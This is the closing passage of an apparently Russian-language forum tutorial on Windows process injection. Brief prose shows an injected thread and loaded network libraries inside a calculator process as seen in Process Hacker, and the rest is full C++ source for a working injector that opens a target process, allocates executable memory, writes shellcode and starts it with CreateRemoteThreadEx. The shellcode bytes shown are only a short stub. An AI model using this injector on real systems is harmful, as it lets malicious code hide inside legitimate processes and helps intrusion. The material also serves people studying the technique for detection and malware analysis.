Мы видим, что функция WaitForSingleObject, которую мы использовали, успешно отмечает, что наш поток завершил выполнение!
А теперь предлагаю посмотреть на наш процесс калькулятора через Process Hacker.
В этом процессе есть запись о некоторых вещах, связанных с сетью, чего при обычных обстоятельствах никогда бы не произошло.
Если мы посмотрим на вкладку Threads в Process Hacker, мы увидим наш недавно созданный поток в списке.
Если же мы дважды щелкнем по одному из них, мы сможем увидеть некоторые интересные данные:
Мы видим, что ws2_32.dll и mswsock.dll находятся в новом потоке, а также в загружаемых модулях:
Вот мы и прошли этот долгий путь. Полный код в следующем спойлере. Спасибо за внимание.
C++:
#include <windows.h>
#include <stdio.h>
/* Определяяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(int argc, char* argv[]) {
/* Объявляем и инициализируем некоторые переменные для последующего использования */
PVOID buffer = NULL;
DWORD processID = NULL, threadID = NULL;
HANDLE handleProcess = NULL, handleThread = NULL;
unsigned char shellcode[] = "\xf0\xb5\xa2\x56\xff\xd5";
size_t shellcodeSize = sizeof(shellcode);
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Пытаемся получить дескриптор процесса (%ld)\n", asterisk, processID);
handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%lx", minus, GetLastError());
return 1;
}
printf("%s Дескриптор процесса получен\n--->0x%p\n", plus, handleProcess);
buffer = VirtualAllocEx(handleProcess, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
printf("%s Выделено %zd байт в памяти процесса с PAGE_EXECUTE_READWRITE разрешениями\n", plus, shellcodeSize);
if (buffer == NULL) {
printf("%s Не удалось выделить буфер, ошибка: 0x%lx", minus, GetLastError());
return 1;
}
WriteProcessMemory(handleProcess, buffer, shellcode, shellcodeSize, NULL);
printf("%s Записано %zd байт в выделенный буфер\n", plus, sizeof(shellcode));
/* Создаем поток для запуска нашей полезной нагрузки */
handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, 0, &threadID);
if (handleThread == NULL) {
printf("%s Не удалось получить дескриптор для нового потока, ошибка: %ld", minus, GetLastError());
return 1;
}
printf("%s Дескриптор для нового потока получен (%ld)\n--->0x%p\n", plus, threadID, handleProcess);
printf("%s Ожидание завершения выполнения потока\n", asterisk);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение, очистка\n", plus);
CloseHandle(handleThread);
CloseHandle(handleProcess);
printf("%s Завершено", plus);
return 0;
}
Последнее редактирование:
